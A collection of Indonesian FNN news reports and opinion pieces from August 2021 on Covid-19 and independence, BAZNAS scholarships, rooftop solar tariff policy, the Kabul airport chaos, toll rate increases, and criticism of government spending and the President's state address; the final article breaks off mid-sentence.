Jakarta, FNN - Anggota Komisi III DPR RI Habib Aboebakar Alhabsyi berharap refleksi Hari Ulang Tahun (HUT) Ke-76 Republik Indonesia harus merdeka dari pandemi Covid-19. "Jika dahulu perjuangan kita merdeka dari penjajahan, saat ini perjuangan kita adalah merdeka dari pandemi," kata Aboebakar dalam keterangan tertulis di Jakarta, Senin, 16 Agustus 2021. Aboebakar menjelaskan, merdeka dalam arti masyarakat terbebas dari ketakutan akibat pandemi. Selain itu, rakyat harus menerima informasi yang benar tentang wabah tersebut. "Akhirnya rakyat akan melaksanakan prokes dengan kesadaran. Rakyat akan melakukan vaksinasi karena menganggapnya sebagai kebutuhan," kata Ketua Mahkamah Kehormatan Dewan (MKD) DPR RI. Aboebakar menegaskan, rakyat Indonesia juga tidak boleh dibebani dengan berbagai prosedur tes yang harganya melangit, seperti harga PCR yang terlampau tinggi. "Tidaklah masuk akal jika harga sekali tes swab PCR akan menghabiskan gaji seseorang dalam sebulan," ujarnya. Selain itu, kata Aboebakar, merdeka dari pandemi juga berarti rakyat memiliki jaminan layanan kesehatan yang mumpuni. Tidak kesulitan mendapatkan rumah sakit rujukan atau mendapatkan tabung oksigen. "Merdeka juga berarti masyarakat yang bisa bertahan hidup di tengah pandemi, bisa memberikan nafkah kepada anak istri sehingga bisa mendapatkan kehidupan yang layak," kata Sekjen Partai Keadilan Sejahtera itu. Untuk mendapatkan kemerdekaan itu, kata Aboebakar, ​​​​​ perlu perjuangan serius, seperti seriusnya para pahlawan kemerdekaan yang bercucuran keringat dan darah. Namun, itu semua bisa dilakukan jika ada jiwa kepahlawanan, yaitu jiwa berkorban untuk sesama, semangat berkorban untuk nusa dan bangsa. Aboebakar mengingatkan setiap perjuangan tidak jarang ada pengkhianatan. Demikian pula, dalam perjuangan kemerdekaan dari pandemi ini. "Selalu saja ada pihak yang berkhianat, seperti mereka yang mengorupsi bantuan untuk pandemi. Ini tentu mengkhianati Pancasila, utamanya sila Ketuhanan Yang Maha Esa," kata Aboebakar, sebagaimana dikutip dari Antara. Aboebakar berharap pada masa pandemi semua pihak perlu menguatkan nilai-nilai Pancasila. Antara lain menguatkan nilai-nilai ketuhanan, nilai kemanusiaan, dan nilai persatuan. Dengan demikian, pada akhirnya bangsa Indonesia akan bisa bersama-sama merdeka dari Covid-19. (MD).

BAZNAS Berikan Beasiswa Kepada 1.000 Mahasiswa

Jakarta, FNN - Badan Amil Zakat Nasional (BAZNAS) RI membuka pendaftaran program Beasiswa Cendekia BAZNAS Perguruan Tinggi Dalam Negeri (BCB PTDN) 2021 yang diperuntukkan bagi kalangan keluarga tidak mampu. "Pada 2021 ini, BAZNAS bekerja sama dengan 101 kampus mitra beasiswa di seluruh Indonesia. Beasiswa yang diberikan akan difokuskan pada pembinaan, subsidi UKT (Uang Kuliah Tunggal). Diharapkan bisa dirasakan manfaatnya oleh lebih dari 1.000 mahasiswa di Indonesia," ujar Ketua BAZNAS Noor Achmad dalam konferensi pers yang dipantau secara daring di Jakarta, Senin, 16 Agustus 2021. Noor mengatakan BCB PTDN 2021 dibuka dengan tiga kategori beasiswa. Yaitu studentpreneur muda (fokus entrepreneur), aktivis muda (aktivitas di kelembagaan dan masyarakat), dan teladan muda (yang ditujukan jurusan profesi). Menurutnya, tujuan Beasiswa Cendekia BAZNAS yakni meningkatkan kecerdasan bangsa yang akan berimbas pada peningkatan kesejahteraan keluarga dan berguna bagi masyarakat sekitar. Program itu sejalan dengan visi BAZNAS yakni menyejahterakan umat. Adapun sasaran beasiswa ini secara umum diprioritaskan untuk ashnaf fakir, miskin, atau fi sabilillah. “Dalam upaya memutus rantai kemiskinan, BAZNAS mengoptimalkan program pendidikan sebagai salah satu alat untuk memperbaiki kualitas ekonomi sekaligus pendidikan masyarakat yang tergolong miskin," ujarnya, sebagaimana dikutip dari Antara. Sebagai lembaga yang mengelola dan memperluas jaringan informasi beasiswa, kata dia, BAZNAS membuka pendaftaran program beasiswa secara nasional melalui berbagai jaringan guna memajukan pendidikan dan mencerdaskan bangsa. Calon peserta bisa melakukan pendaftaran melalui laman beasiswa.baznas.go.id yang dibuka hingga 31 Agustus 2021. Setelah itu, BAZNAS akan melakukan seleksi ketat yang melibatkan tim seleksi dari pihak kemahasiswaan kampus agar penerima beasiswa tepat sasaran. Noor berharap di masa depan setiap penerima beasiswa memiliki kemandirian pendapatan dan kemandirian ekonomi melalui program usaha. "Tidak hanya itu, mahasiswa diharapkan membuka lapangan kerja baru sehingga mampu memberikan ruang untuk menurunkan tingkat pengangguran," ujarnya. Sementara itu, Direktur Pembelajaran dan Kemahasiswaan Kemdikbud RI Aris Junaidi mengapresiasi program yang secara rutin disalurkan oleh BAZNAS. Menurutnya, program inovatif dari BAZNAS ini sangat membantu para mahasiswa yang bertemu mentor-mentor, sehingga nanti lulusannya bisa terarah dan menjadi SDM yang unggul, sesuai dengan cita-cita Presiden RI Joko Widodo yang menginginkan SDM unggul, Indonesia maju. "Saya kira ekosistem perguruan tinggi harus mendorong semuanya dan memfasilitasi mahasiswa-mahasiswa untuk terus berprestasi," kata Aris. Dia berharap beasiswa dapat membantu mahasiswa dhuafa terutama bagi yang memiliki semangat belajar tinggi tapi terhalang keterbatasan biaya. "Kami juga mendorong kampus Indonesia untuk men-support ini dan memfasilitasi bagi mahasiswa Indonesia. Terima kasih kepada BAZNAS yang sudah berupaya keras mendukung adanya beasiswa ini," katanya. (MD).

Menyoal Rencana Perubahn Permen ESDM PLTS Atap

Oleh Marwan Batubara, IRESS DALAM waktu dekat Kementrian ESDM akan menerbitkan aturan baru terkait pembangkit listrik tenaga surya (PLTS) Atap, sebagai revisi atas Permen ESDM No.49/2018. Menurut Dirjen EBTKE Dadan Kusdiana revisi dilakukan antara lain untuk menarik investasi PLTS, menggalakkan PLTS sebagai energi bersih yang semakin murah, menghemat tagihan listrik, dan mengejar target bauran EBT 23% pada 2025. Dikatakan, revisi Permen akan memberi manfaat ekonomi, sosial, dan lingkungan yang besar, termasuk penyediaan lapangan kerja. Sejak kebijakan PLTS Atap diterbitkan pemerintah pada 2018 ada 350 pelanggan PLN yang mengoperasikan PLTS Atap di rumah dan kantor-kantor. Saat ini jumlah pelanggan PLTS atap telah mencapai 4.000 atau melonjak lebih dari 1.000% dibanding awal 2018, dengan total kapasitas sekitar 40 MW. Dari total potensi energi surya Indonesia sekitar 208 GW, menurut Dadan, potensi PLTS Atap mencapai 32 GW. Karena itu diharapkan kapasitas PLTS Atap dapat meningkat menjadi 2-3 GW dalam 3 tahun mendatang. Pemerintah menyatakan akan merevisi beberapa ketentuan Permen No.49/2018. Misalnya mengubah tarif ekspor-impor listrik net-metering menjadi 1:1, memperpanjang periode menihilkan kelebihan akumulasi selisih tagihan dari tiga bulan menjadi enam bulan, mewajibkan mekanisme pelayanan berbasis aplikasi, memperluas perizinan pemasangan PLTS Atap kepada pelanggan di wilayah usaha non-PLN, perizinan lebih singkat, serta membangun pusat pengaduan sistem PLTS Atap. IRESS mengapresiasi upaya pemerintah merevisi Permen No.49/2018 guna mencapai berbagai tujuan ideal energi nasional. Dengan demikian, masyarakat luas akan tertarik memasang PLTS Atap di rumah atau kantor masing-masing secara massif dan gotong-royong. Namun, berbagai target ideal tersebut harus dicapai dengan tetap memperhatikan aspek-aspek konstitusional, legal, keadilan, kebersamaan, keberlanjutan pelayanan publik dan berbagai kepentingan strategis nasional. Jika berbagai aspek strategis di atas belum terpenuhi secara harmonis dan seimbang, maka revisi Permen harus ditunda. Sejauh ini IRESS menilai rencana revisi Permen ESDM No.49/2018 lebih fokus pada pertimbangan aspek ekonomi dan bisnis. Ditengarai motif investasi, bisnis dan perburuan rente lebih mengemuka dibanding kepentingan keadilan, kebersamaan dan keberlanjutan pelayanan BUMN. Hal ini sangat jelas terlihat dari upaya Kementrian ESDM yang memaksakan skema tarif ekspor-impor listrik net-metering menjadi 1:1. Berbagai masukan dari PLN maupun sejumlah akademisi dan pakar sejauh ini cenderung tidak dipertimbangan pemerintah. Saat ini, ketentuan tarif net-metering dalam Permen ESDM No.49/2018 adalah 1:0,65. Artinya, jika saat konsumen mengkonsumsi atau mengimpor listrik dari PLN adalah X per kWh, maka pada saat konsumen mengekpor listrik dari storage di rumah ke jaringan PLN tarifnya adalah 0,65X. Tarif ekspor listrik konsumen ke PLN memang lebih rendah dibanding tarif impor konsumen dari PLN, karena PLN harus menyediaan berbagai sarana pelayanan. Sebenarnya tarif ekspor-impor 0,65:1 sesuai Permen No.49/2018 sudah cukup memadai dan menguntungkan konsumen, terutama life style sebagai pengguna energi bersih dapat diraih bersamaan dengan tagihan listrik yang lebih murah. Bahkan, kajian akademis terbaru oleh sejumlah pakar energi menyatakan bahwa tarif ekspor-impor listrik yang wajar dan adil adalah 0,56:1. Karena telah terlanjur membuat aturan tarif ekspor-impor 0,65:1, maka cukup layak jika pemerintah mempertahankan dan konsumen pun memaklumi. Pemerintah dan para promotor revisi Permen mengatakan jika tarif ekspor-impor menjadi 1:1, maka terjadi peningkatan keekonomian PLTS Atap dan waktu pengembalian investasi menjadi lebih singkat (dari 10 menjadi 8 tahun), sehingga penggunaan PLTS Atap akan tumbuh pesat dan target bauran EBT 23% dapat dicapai. Namun di sisi lain, perubahan tarif ekspor-impor dari 0,65:1 menjadi 1:1 akan merugikan konsumen dan BUMN seperti diuraikan berikut. Pertama, tarif ekspor-impor listrik yang berlaku saat ini dan belakangan dihitung ulang pakar-pakar energi, ditinjau dari berbagai aspek terkait, telah cukup layak dan adil. Untuk pelayanan listrik hingga sampai ke konsumen, PLN perlu membangun berbagai fasilitas, minimal berupa jaringan transmisi, distribusi, gardu dan storage. Jika tarif ekspor-impor dirubah menjadi 1:1, maka berbagai fasilitas PLN tidak pernah diperhitungkan sebagai faktor penting dalam proses ekspor-impor listrik antara konsumen PLTS Atap dengan PLN. Dalam hal ini pemilik PLTS Atap sangat diuntungkan dan PLN sebagai pihak yang dirugikan. Kedua, karena memiliki dana berinvestasi di PLTS Atap, para konsumen berkategori mampu dipersilakan untuk memanfaatkan sarana milik negara/BUMN “for free”, tidak peduli bahwa sarana tersebut yang harus dibangun menggunakan uang negara, subsidi energi dan pembayaran tagihan listrik oleh konsumen non PLTS Atap, terutama yang tidak mampu. Secara sangat mendasar, terjadi ketidakadilan sistemik, di mana konsumen tak mampu justru “dipaksa” mensubsidi konsumen “mampu” berdasar aturan legal yang diterbitkan negara. Ketiga, menerapkan tarif ekspot-impor 1:1 dapat dinilai sebagai upaya menggalakkan penggunaan EBT lebih dominan untuk tujuan bisnis dan investasi, dibanding untuk tujuan pencapaian energi bersih, penghematan atau life style. Mengingat PLTS Atap adalah produk mahal yang hanya mampu dibeli pelanggan kapasitas besar yang berpunya, maka skema tarif 1:1 akan membuat indeks Gini meningkat, yang kaya semakin kaya, yang miskin tetap miskin. Keempat, tarif 1:1 akan mendorong masyarakat berpunya untuk berbisnis listrik dengan PLN. Hal ini memicu menjamurnya independent power producer (IPP) mikro yang berbisnis tanpa kaidah dan “term and condition” yang adil dan layak seperti berlaku untuk listrik IPP. Hal ini akan mengancam kelangsungan pelayanan listrik PLN yang berkelanjutan. Kelima, kewajiban PLN membeli listrik PLTS Atap memaksa negara membayar kompensasi berupa selisih biaya pokok penyediaan listrik (BPP) PLTS yang nilainya sekitar Rp 1400/kWh dangan BPP PLTU yang nilainya sekitar Rp 900/kWh. Hal ini jelas semakin memberatkan APBN. Meskipun disebut dana kompensasi, namun pada dasarnya dana tersebut merupakan subsidi energi. Ironisnya, subsidi tersebut malah dinikmati para “the haves” yang diberi kesempatan berbisnis melalui tarif ekspor-impor liberal 1:1, atas nama energi bersih dan target EBT 23%! Keenam, tarif liberal 1:1 seolah ingin segera diterapkan tanpa memperhitungkan kondisi supply-demand listrik PLN yang saat ini sangat berlebihan. Kondisi ini akan memperparah beban keuangan PLN yang sangat dirugikan oleh skema take or pay (TOP) listrik swasta/IPP dan oleh kesalahan pemerintah merencanakan proyek listrik 35.000 MW. Akibat asumsi pertumbuhan ekonomi (dan kebutuhan listrik) yang berlebihan, pembangkit-pembangkit yang dibangun IPP dapat di-rescheduled atau diundur. Namun sebagian besar sarana transmisi, distribusi dan gardu sebagai pendukung pembangkit IPP tersebut telah terlanjur dibangun PLN, yang menyebabkan naiknya beban biaya. Jika konsep ekspor-impor liberal 1:1 tetap dipaksakan, maka beban keuangan PLN semakin berat. Ketujuh, sejalan dengan butir keenam di atas, saat ini reserve margin atau cadangan pembangkitan daya listrik Jawa-Bali telah mencapai 60%-an, dan Sumatera mencapai 50%-an. Padahal reserve margin ideal yang efektif dan efisien berkisar 20%-30%. Dengan reserve margin yang sangat tinggi tersebut, maka beban biaya operasi PLN akan naik dan sudah sangat tidak efisien. Apalagi jika PLN harus menyerap “pasokan atau ekpor” listrik swasta yang ingin digalakkan melalui tarif liberal 1:1. Beban biaya yang naik berarti BPP/tarif listrik juga naik. Kedelapan, penyediaan PLTS hanya memanfaatkan porsi TKDN maksimum 40%. Sisanya komponen impor, terutama dari China. Jika penggunaan PLTS Atap digalakkan, sementara industri atau pabrik sel solar (photo voltaic, PV) domestik sebagai komponen utama PLTS tidak berkembang atau justru dihambat berkembang, maka yang terjadi adalah bocornya kompensasi atau subsidi APBN ke produsen solar PV di luar negeri. Selain itu, impor solar PV yang tinggi akan meningkatkan defisit neraca perdagangan dan neraca transaksi berjalan (CAD) yang biasanya terjadi saat harga minyak dunia tinggi. Biasanya defisit tinggi karena impor bbm, minyak mentah dan LPG, tetapi akan diperparah oleh penghasil energi jenis lain: solar PV. Kesembilan, saat ini industri solar PV global sedang mengalami over supply, termasuk akibat pandemi Covid-19. Kita tidak ingin Indonesia menjadi tempat sampah kelebihan produk asing yang saat ini diobral, terutama melalui aturan tarif liberal 1:1, tanpa memperhatikan TKDN, pengembangan industri solar PV nasional, keberlanjutan pelayanan PLN dan keadilan sosial bagi seluruh rakyat. Tulisan ini tidak menolak seluruh ketentuan penting dalam rencana perubahan Permen ESDM No.49/2018. Cukup banyak hal baik yang memang mendesak untuk dirubah. Namun, khusus tarif ekspor-impor 1:1, dengan tegas IRESS menyatakan penolakan. IRESS juga mengajak publik menolak rencana perubahan tarif liberal pro industri asing dan pro pengusaha PLTS domestik, atas nama energi bersih, mitigasi perubahan iklim dan bauran EBT 23%. Pemerintah dapat mempertahankan tarif ekspor-impor yang berlaku saat ini, yakni 0.65:1. Perubahan Permen No.49/2018 dapat pula memuat ketentuan pembatasan kapasitas terpasang dan yang harus dibeli PLN adalah sesuai dengan kebutuhan sistem. Dalam kondisi reserve margin yang saat ini sangat berlebihan, pemerintah pun harus menunda terbit atau berlakunya regulasi baru. Ketentuan dan waktu terbit regulasi baru perlu pula diselaraskan dengan peta jalan industri PLTS domestik guna meningkatkan ketahanan dan kedaulatan energi, sekaligus untuk menjamin pemanfaatan APBN berputar optimal di dalam negeri.[] Penulis Direktur Eksekutif IRESS

Lima Tewas di Bandara Kabul, Tentara Amerika Tembakan Peluru ke Udara

Kabul, FNN - Sedikitnya lima orang tewas di bandara Kabul ketika ratusan orang berupaya secara paksa memasuki pesawat-pesawat yang akan meninggalkan ibu kota Afghanistan itu. Peristiwa tersebut disampaikan sejumlah saksi mata kepada Reuters, Senin, 16 Agustus 2021. Seorang saksi mata menyebutkan dirinya melihat jasad lima orang dibawa dengan sebuah kendaraan. Saksi lainnya mengatakan, tidak jelas apakah para korban itu tewas karena tembakan senjata atau akibat terinjak-injak. Pasukan Amerika Serikat, yang bertanggung tanggung jawab di bandara itu, sebelumnya melepaskan tembakan ke udara untuk membubarkan kerumunan orang. Para pejabat belum dapat dihubungi untuk dimintai komentar soal kematian orang-orang tersebut. Sementara itu, jalan-jalan di kota Kabul sepi pada Senin pagi, sehari setelah gerilyawan Taliban mengambil alih ibu kota Afghanistan itu tanpa pertempuran, namun bandara dipenuhi ratusan warga sipil yang berusaha melarikan diri. Foto-foto yang beredar di media sosial memperlihatkan ratusan orang bergegas dengan barang bawaan mereka menuju tempat aman di terminal bandara saat terdengar letusan senjata. "Kantor-kantor pemerintah kosong," kata warga Kabul. Distrik Wazir Akbar Khan yang banyak ditempati kedutaan tampak kosong ketika semua diplomat dan keluarga mereka diungsikan ke luar kota atau bandara menunggu penerbangan. Hanya ada sejumlah penjaga di pos-pos pemeriksaan yang biasanya dijaga ketat. Beberapa pengendara keluar dari mobil mereka untuk mengangkat portal penghalang di pos pemeriksaan sebelum melintas. "Rasanya aneh duduk di sini dan melihat jalan-jalan yang kosong. Tidak ada lagi konvoi diplomat dengan mobil-mobil besar yang dipasangi senjata," kata Gul Mohammed Hakim, seorang pembuat naan (roti) yang memiliki toko di kawasan itu. "Saya di sini membuat roti, tapi hanya mendapat uang sangat sedikit. Petugas keamanan adalah kawan-kawan saya, mereka telah pergi," latanya. Dia belum kedatangan pembeli. Akan tetapi, masih tetap memanaskan tandoor (oven dari tanah liat) sebagai antisipasi. "Perhatian pertama saya adalah menumbuhkan jenggot dan bagaimana menumbuhkannya dengan cepat," kata Hakim. "Saya juga bertanya kepada istri apa mereka punya cukup burka untuk dikenakan olehnya dan anak-anak perempuan saya, " katanya sebagaimana dikutip dari Antara. Selama Taliban berkuasa pada 1996-2001, penduduk laki-laki dilarang mencukur jenggot dan perempuan diharuskan memakai pakaian tertutup di tempat umum. Di jalan Chicken Street, Kabul, sejumlah toko karpet, kerajinan dan perhiasan, juga kafe-kafe kecil, ditutup pemiliknya. Sherzad Karim Stanekzai, pemilik toko karpet dan tekstil, mengatakan dia memutuskan untuk tidur di tokonya yang tutup untuk menjaga barang-barangnya. "Saya benar-benar terkejut. Masuknya Taliban membuat saya takut, tapi (Presiden Ashraf) Ghani pergi meninggalkan kami semua dalam situasi yang memburuk ini," kata dia. "Saya kehilangan tiga saudara dalam tujuh tahun selama perang ini, sekarang saya harus melindungi bisnis saya." Dia mengaku tidak tahu dari mana pelanggan nanti akan datang. "Saya tahu tak akan ada lagi warga asing, orang-orang internasional yang akan datang ke Kabul," katanya. Pemimpin Taliban mengatakan para pejuang mereka telah "diperintahkan untuk membiarkan warga setempat melanjutkan aktivitas sehari-hari dan tidak melakukan apapun yang membuat takut warga sipil." "Hidup normal akan terus berlangsung dengan cara yang lebih baik, itulah yang bisa saya katakan untuk saat ini," kata dia kepada Reuters lewat WhatsApp. (MD).

Dua Hari Lagi Tarif Tol Jakarta-Surabaya Naik 4,41 Persen

Surabaya, FNN - Tarif tol Jakarta-Surabaya atau sebaliknya untuk kendaraan golongan I naik atau mengalami penyesuaian sebesar 4,41 persen, yakni dari Rp 691.500 menjadi Rp 722.000. Kenaikan tarif tersebut terhitung mulai 19 Agustus 2021 pukul 00.00 WIB, karena adanya penyesuaian tarif di empat ruas Jalan Tol Trans Jawa. Corporate Communication and Community Development Group Head Jasa Marga, Dwimawan Heru, Senin (16/8) mengatakan, tarif tol Jakarta-Surabaya itu merupakan kumulatif dari sejumlah transaksi di Gerbang Tol (GT) utama, contohnya dari Jakarta menuju Surabaya yaitu melalui GT Cikampek Utama, GT Palimanan Utama, GT Kalikangkung, dan GT Warugunung. Sementara, untuk empat ruas Jalan Tol Trans Jawa yang mengalami penyesuaian merupakan jalan tol yang dikelola Badan Usaha Jalan Tol (BUJT) yang merupakan anak usaha PT Jasa Marga (Persero) Tbk serta Waskita Toll Road. Keempat ruas jalan tol itu masing-masing Jalan Tol Pemalang-Batang yang dikelola oleh PT Pemalang Batang Toll Road, Jalan Tol Batang-Semarang yang dikelola oleh PT Jasamarga Semarang Batang, Jalan Tol Solo-Ngawi oleh PT Jasamarga Solo Ngawi serta Jalan Tol Pasuruan-Probolinggo oleh PT Trans Jawa Paspro Jalan Tol. Ia mengatakan dasar penyesuaian tarif tol telah diatur Pasal 48 ayat (3) Undang-Undang (UU) Nomor 38 Tahun 2004 tentang Jalan dan Pasal 68 ayat (1) Peraturan Pemerintah (PP) Nomor 15 Tahun 2005 tentang Jalan Tol, sebagaimana telah diubah beberapa kali, terakhir dengan PP Nomor 30 Tahun 2017 tentang Perubahan Ketiga Atas PP Nomor 15 Tahun 2005 tentang Jalan Tol. "Berdasarkan regulasi itu, evaluasi dan penyesuaian tarif tol dilakukan setiap dua tahun sekali berdasarkan pengaruh laju inflasi," kata Heru, dalam siaran persnya yang diterima di Surabaya, Senin, 16 Agustus 2021. Ia mengatakan secara umum pertumbuhan ekonomi Indonesia di semester I tahun 2021 yang meningkat 7,07 persen secara tahunan (year on year) sejalan dengan peran jalan tol dalam percepatan distribusi barang dan jasa. “Meningkatnya pertumbuhan ekonomi ini tentunya menunjukkan masyarakat dan pelaku usaha kembali beraktivitas meski dengan pembatasan-pembatasan. Dengan adanya jalan tol, distribusi barang dan jasa dari para pelaku usaha dapat lebih cepat diterima, sehingga denyut ekonomi dapat berputar kembali dan perlahan berangsur normal kembali,” tuturnya, sebagaimana dikutip dari Antara. Selain itu, penyesuaian tarif jalan tol juga dibutuhkan untuk memastikan iklim investasi jalan tol yang kondusif, menjaga kepercayaan investor dan pelaku pasar terhadap industri jalan tol yang prospektif di Indonesia, serta menjamin level of service pengelola jalan tol tetap sesuai dengan Standar Pelayanan Minimal (SPM) jalan tol. Heru juga mencatat jumlah pengguna jalan dengan perjalanan menerus Jakarta-Surabaya sebesar 60 persen dibandingkan dengan komuter di masing-masing ruas jalan tol, sehingga diharapkan penyesuaian tarif sebesar 4,41 persen dapat disandingkan dengan benefit to cost yang didapatkan. "Ketika pengguna jalan melakukan perjalanan dari Jakarta menuju Surabaya sejauh 687 km akan membutuhkan waktu tempuh sekitar 8 jam lebih cepat jika dibandingkan melakukan perjalanan non tol selama 16 jam lebih. Selain itu, dapat pula dipertimbangkan efisiensi penggunaan BBM jika menggunakan jalan tol,” tutur Heru. (MD).

Pidato Kenegaraan atau Laporan Kegiatan Satgas?

LAZIMNYA sebuah pidato kenegaraan mustinya berisi review perjalanan bangsa sampai pada satu titik tertentu. Apalagi pidato disampaikan dalam ulang tahun kemerdekaan sebuah bangsa, seharusnya bisa memberikan gambaran yang lengkap tentang perjalanan bangsa. Tantangan, rintangan, dan peluang ke depan seharusnya juga menjadi catatan penting bagi seorang kepala negara. Situasi terkini juga harus menjadi konsentrasi untuk dicari solusinya. Pidato kenegaraan Presiden RI 16 Agustus 2021 sungguh tak berbobot. Hampir seluruh isi pidato bercerita tentang Pandemi Covid-19 dan penanganan yang penuh puja puji diri. Tak ada sedikit evaluasi diri, pengakuan tentang amburadulnya penanganan, jumlah yang positif dan yang meninggal dunia. Mahal sekali harga sebuah kejujuran. Pidato ini lebih terkesan laporan bulanan Ketua Satgas Covid-19 di sebuah desa. Pidato kenegaraan tak menyinggung soal kelaparan, kemiskinan, dan kriminalitas. Pidato kenegaraan jauh dari harapan masyarakat yang ingin tahu visi pertanian, industri, dan perdagangan. Para petani tak mendapatkan jawaban tentang mengapa pupuk selalu mahal, kekurangan air dan harga hasil panen yang anjlok. Para nelayan kecewa pidato kenegaraan tidak membahas sulitnya BBM dan maraknya pencurian ikan. Pidato juga enggan menyebut masalah ketidakadilan hukum, kriminalisasi ulama, dan banyaknya koruptor. Pidato kenegaraan juga malu mengakui bahwa negara ini menuju negara gagal karena utang luar negeri yang mengkhawatirkan. Selain itu, dalam naskah pidato kenegaraan ini juga masih ada beberapa salah tulis seperti "ketidak adilan" yang seharusnya ditulis "ketidakadilan", "pra kerja" seharusnya "prakerja", "mengkaji" seharusnya mengaji serta penulisan huruf kapital yang tidak konsisten. Saat membahas protokol kesehatan, naskah negara juga lupa mengingatkan 3M, padahal 3T dibahas. Kita tahu masyarakat lebih familiar pada 3M. Itu soal tata bahasa. Yang ini soal tata kedaulatan. Persoalan serius di Laut Cina Selatan juga tidak masuk radar istana untuk disampaikan dalam pidato kenegaraannya. Persoalan yang sangat serius bagi kedaulatan NKRI sama sekali tak diucapkan dalam pidato yang amat penting ini. Masyarakat ingin tahu strategi dan kebijakan negara dalam menghadapi perang dua kepentingan di depan mata yang mana wilayah NKRI akan menjadi arena pertempuran. Pidato kenegaraan juga tidak mampu memberikan gambaran, kapan situasi normal akan dimulai. Dengan dukungan anggaran yang besar, kecanggihan teknologi dan sumber daya manusia yang mumpuni mustinya pemerintah berani mengambil risiko bahwa pandemi bakal berkahir sebentar lagi. Pemerintah harus menyiapkan fasilitas dan perangkat untuk menjamin masyarakat. Dengan demikian masyarakat merasakan ada pemimpin, ada penanggungjawab, dan ada pelindung. Selama pandemi masyarakat bingung dan panik sendiri, ibarat anak ayam kehilangan induknya. Akan tetapi kepanikan itu mereda dengan sendirinya, bukan karena usaha pemerintah. Sebuah pidato kenegaraan yang baik adalah pidato yang disampaikan dengan gagah berani dan meyakinkan, baik isi maupun penampilannya. Jika tidak, maka masyarakat hanya tertarik melihat penampilannya saja - yang lucu.

Surat Terbuka Buat Menteri Setneg

Oleh: Uchok Sky Khadafi Pak Pratikno berapa sih Ngecat pesawat kepresidenan, Rp 2.1 miliar atau Rp 45 miliar? Kami dari CBA (Center For Budget Analysis) ingin bertanya kepada Menteri Setneg Pratikno. Berapa sih nominal angka Anggaran ngecat Pesawat kepresidenan atau pemeliharaan pesawat VVIP Kepresidenan Dari penelusuran dokumen RUP (Rencana Umum Pengadaan) Kementerian Sekretariat Negara pada tahun 2020, ada dua proyek untuk pemeliharaan pesawat VVIP kepresidenan sebesar Rp 45.7 miliar. Satu proyek dengan kode RUP 22432000 mempunyai anggaran sebesar Rp 25.7 miliar. Sedangkan dengan kode RUP 22433549 yang mempunyai nilai sebesar Rp 20 miliar. Kemudian dari proyek sebesar Rp 45.7 miliar ini, banyak publik tidak tahu. Yang diiketahui publik adalah anggaran ngecat pesawat kepresidenan sebesar Rp 2,1 miliar. Sedangkan dua proyek pesawat kepresidenan sebesar Rp 45,7 miliar seperti disembunyikan dalam labirin kantor setneg sendiri. Maka untuk itu, pihak setneg sebaiknya memberikan penjelasan secara detail kepada publik, untuk biaya apa saja anggaran sebesar Rp 45,7 miliar dikeluarkan. Apakah anggaran sebesar Rp 45,7 miliar sudah termasuk untuk ngecat pesawat kepresidenan sebesar Rp 2,1 miliar. Karena alokasi anggaran Rp 2,1 miliar tidak ada dalam dokumen RUP (Rencana Umum Pengadaan). Tetapi yang penting, pihak setneg harus menjelaskan anggaran sebesar Rp 45,7 miliar dipakai untuk apa saja. Misalnya, kalau ada kabel pesawat yang rusak, maka harus dijelaskan kabel merek apa atau perkakas seperti apa yang diperbaiki sehingga negara harus mengeluarkan anggaran yang begitu tinggi, sampai sebesar Rp 45,7 miliar. Selanjutnya, selain anggaran diatas, pihak setneg juga mengeluarkan anggaran lain untuk program pesawat kepresidenan. Yaitu ada proyek pemeliharaan Hanggar untuk pesawat kepresiden sebesar Rp 2,1 miliar. Padahal pada tahun 2020 proyek pemeliharaan Hanggar kepresidenan hanya sebesar Rp 1.1 miliar. Jadi Anggaran untuk proyek pemeliharaan Hanggar kepresidenan dari tahun 2020 ke 2021 seperti disulap membengkak sebesar Rp 1 miliar. Selain itu, sekretariat Negara juga harus menguras APBN untuk proyek - proyek pesawat kepresiden seperti pada tahun 2021 ada proyek CCTV untuk hanggar pesawat kepresiden sebesar Rp 148 juta. Dan pada tahun 2020, ada juga proyek proyek yang boros, dan tidak masuk akal untuk pesawat kepresidenan seperti pemeliharaan kebersihan pesawat kepresiden sebesar Rp 2,1 miliar, kemudian proyek pemeliharaan mekanikal, Elektrikal hanggar pesawat kepresidenan sebesar Rp 519 juta. Sehigga Proyek proyek seperti pemeliharaan pesawat kepresidenan ini, jadi tempat yang "basah" bagi orang orang setneg. Bagimana tidak basah, dua proyek saja seperti pemeliharaan pesawat VVIP kepresidenan sebesar Rp 45,7 miliar, dengan memakai metode pengadaannya hanya penunjukan langsung. Jadi enak dong perusahaan yang ditunjuk jadi pemenang. Pantesan mereka kelihatan lebih enak dan nikmat mengurus proyek pesawat kepresidenan daripada urusin covid 19. Jakarta, 10 Agustus 2021. Penulis adalah Direktur CBA (Center For Budget Analysis)

CORE: Pertumbuhan Ekonomi 2022 Tergantung Penanggulangan Pandemi

Jakarta, FNN - Direktur Riset Center of Reform on Economics (CORE) Indonesia Piter Abdullah menilai pertumbuhan ekonomi pada 2022 akan sangat bergantung pada penanggulangan pandemi COVID-19 yang hingga kini masih belum bisa diprediksi kapan berakhir. "Kalau diproyeksikan pandemi sudah mereda, kita sudah bisa seperti normal lagi atau new normal. Seharusnya kita bisa lebih optimis bisa tumbuh di atas 6 persen. Low base effect masih ada dan perekonomian punya momentum untuk melompat, asal ada dorongan dari kebijakan fiskal dan moneter," ujar Piter saat dihubungi di Jakarta, Senin. Piter mengharapkan pemerintah bisa lebih optimistis, agresif, dan tidak ragu-ragu dalam menetapkan target pertumbuhan ekonomi yang lebih tinggi pada tahun depan. "Jangan ragu-ragu menetapkan target pertumbuhan ekonomi tahun depan yang tinggi. Yang tidak masalah akan tercapai atau tidak. Yang menentukan realistis atau tidak bukan berapa angka targetnya. Target pertumbuhan rendah karena memang tidak berusaha itu yang sangat disesalkan. Yang kita inginkan target pemerintahan yang tinggi dengan di-support rencana kerja yang sesuai. Jadi rencana kerjanya yang menentukan realistis atau tidak," kata Piter. Target pertumbuhan ekonomi yang tinggi diperlukan guna memberikan lapangan kerja yang cukup bagi angkatan kerja dan mengurangi tingkat kemiskinan yang sempat naik karena pandemi. "Syaratnya pandemi harus bisa ditanggulangi dan pemerintah tidak ragu-ragu mendorong ekonomi dengan kebijakan fiskal yang lebih ekspansif," ujar Piter. Dalam pidato penyampaian RUU APBN Tahun Anggaran 2022 dan Nota Keuangan pada Rapat Paripurna DPR-RI Tahun Sidang 2021 - 2022, Presiden Joko Widodo menargetkan pertumbuhan ekonomi Indonesia berada pada kisaran 5 - 5,5 persen pada 2022. Presiden menekankan 